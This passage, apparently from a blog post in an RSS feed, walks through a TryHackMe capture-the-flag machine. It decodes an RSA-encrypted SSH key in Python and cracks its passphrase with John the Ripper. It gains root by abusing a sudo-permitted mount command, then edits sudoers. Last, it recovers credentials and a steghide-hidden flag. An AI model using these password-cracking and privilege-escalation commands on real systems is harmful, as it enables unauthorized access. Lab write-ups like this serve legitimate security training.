8452 36500 5851 11405 14422 11339 28927 18199 33443 25111 31131 11405 3339 12244 5444 35243 8600 7358 23787 37248 21889 8600 9450 9450 12244 3947 23787 37438 3947 33985 7358 37248 8452 22872 35734 7358 28061 19396 9709 8452 7914 11405 27582 5851 21404 25111 8499 29609 22149 4198 18278 29609 7358 12792 27582 36500 4198 35243 17632 29609 23721 37438 3947 35243 14605 37438 12244 19396 19276 14422 2367 2367 2367 2367 2367 8600 1735 35734 33029 16186 28374 37248 33029 26842 16186 18410 23219 37248 11339 8600 33029 35670 8600 31131 2367 2367 2367 2367 2367&quot;.split(&quot; &quot;)<br>n,d= [37627,61527] <br>clear_text_private_key = &quot;&quot;<br>for group in numric_private_key :                     <br>    Ascci = (int(group) ** d)  % n                     <br>    clear_text_private_key+= chr(Ascci)<br><br>print (clear_text_private_key)<br><br><br>&quot;&quot;&quot;<br><br>if you don&#39;t understand this code try to understand this frist<br><br>text=[78,49,78,74,49,48]<br>key=&quot;&quot;<br>for i in text:<br>    key+=chr(i)<br>print(key)<br><br>&quot;&quot;&quot;</pre><p>Try to run it online with this website <a href="https://www.programiz.com/python-programming/online-compiler/">here</a> , give it a shot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-70w3JcMzjhXvcM-Y06QBA.png" /><figcaption>python_script</figcaption></figure><p>Will we now have the private key , So let’s try to access the machine with it first</p><pre>ssh -i private_key willow@&lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*jJakHpUaY-6-m2ljECkPvw.png" /><figcaption>we_need_the_passphrase</figcaption></figure><p>It seems that we must have the passphrase key to get in , I prefer John to make this task</p><blockquote>Note: you should change the access permission with chmod 600 private_key to success</blockquote><pre>ssh2john private_key &gt; paraphrase.txt<br>john --wordlist=usr/share/wordlists/rockyou.txt paraphrase.txt paraphrase.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*lvsbeeFq2LuwM_FCWxWc8w.png" /><figcaption>wildflower!!</figcaption></figure><blockquote>Note: don’t make my fault and forget the = sign this screen will appear if you make that mistake</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*WVv2UGntHlD5yPljKPPyVw.png" /></figure><p>Good , we now have the passphrase let’s get in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*lyQkK_Pg1vn1JY-Z_w6u0w.png" /><figcaption>we are in ~~</figcaption></figure><p>Now we are in , Let’s find our user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*_DidejcryDP9kEdXlqKnQg.png" /><figcaption>user.jpg</figcaption></figure><p>We find that there is a user.jpg file we can’t open it in the victim machine so i decide take a copy to my machine</p><pre>scp -i private_key willow@&lt;IP&gt;:user.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*mh6nRXmC5SluDTx-yVHUYQ.png" /><figcaption>copy_user.jpg</figcaption></figure><p>Open it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDjTJUJbT-FUSZhw9TVz1w.png" /><figcaption>user_flag</figcaption></figure><p>Let’s get the root account i found that we have have privilege on mount command under dev dir</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*h3ei5yfZXFIZ6R41Ufvtfw.png" /><figcaption>mount!!</figcaption></figure><p>So i go to GTFOBins to search if i can privilege my escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*pop-K6JI1Ji0vGh2_5LsfA.png" /><figcaption>GTFOBins</figcaption></figure><p>Give it a shot</p><pre>mount -o bind /bin/sh /bin/mount</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*BBcjPRSZcSziJftZIAlRsA.png" /><figcaption>Ammmm</figcaption></figure><p>Ok let’s make it manually</p><pre>cp ../../bin/bash ../../dev/shm/<br>sudo /bin/mount /dev/shm/bash /bin/mount -o force,bind<br>echo &quot;bash&quot; &gt; /dev/shm/shell<br>sudo /bin/mount /dev/shm/shell </pre><blockquote>Note : why i use shm ? /dev/shm is a temporary file storage filesystem (see tmpfs ) that uses RAM for the storage. It can function as shared memory that facilitates IPC. It is a world-writeable directory. The size of /dev/shm is limited by excess RAM on the system, and hence you’re more likely to run out of space on this filesystem so it mean we should have access on it</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*B5MtzprOdmTTsbAUeFMflg.png" /><figcaption>root_acc</figcaption></figure><p>Pingo we have the root account, Let’s open the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*pT_VJLvCnKJ7ePdxCPiykA.png" /><figcaption>what ??</figcaption></figure><p>I can’t understand what happen here ??</p><p>After a while i understand that i think out of the box and get the root account in the way that the author don’t wanna , So i esclate the willow privilage acocunt by edit the sudoers file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*zYL84NFZPp6eqpzUmqHufg.png" /><figcaption>Now_willow_is_root</figcaption></figure><p>Now we can start over again with willow account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*t9HmcE2T1ffK-E5sPhN6Cw.png" /><figcaption>willow_is_realy_sudoer</figcaption></figure><p>After while i found that there is a hidden dir in dev called “hidden_backup”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*XNVCjx3cybm5cp6LkjvDhg.png" /><figcaption>hidden_backup</figcaption></figure><p>So i mounted it to my path to get what inside it</p><pre>mkdir N1NJ10<br>sudo mount /dev/hidden_backup N1NJ10/<br>cd N1NJ10/<br>ls -la<br>cat creds.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*ljjVEUyZtng_oporVhu6Rw.png" /><figcaption>Who is N1NJ10 ?</figcaption></figure><p>Ok this is the right way the author wanna us to think, But we doesn’t reach the root flag !!</p><p>I think again about his massage “I actuall gave you the root flag some time ago” , I remember that we get the user.jpg he maybe put a secret massage on it let’s see it with <a href="https://steghide.sourceforge.net/">steghide</a></p><pre>steghide info user.jpg </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*8z5T892zfn55enEib2zR0w.png" /><figcaption>root.txt</figcaption></figure><p>Well , it have file called root.txt you can access this with passphrase the root password</p><p>Let’s extract it</p><pre>steghide extract -sf user.jpg<br>cat root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*Ckm6hh8_wRD3AzCUzaPMkg.png" /><figcaption>root_flag</figcaption></figure><p>Pingo , We have the root flag now</p><p>Now you finish N1NJ10 I hope you have benefited from this writeup , If any something doesn’t make sense you can reach me on social media</p><p>I enjoyed the room, and would post more future walkthroughs for TryHackMe rooms and other security stuff in the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b92ee0946ddf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>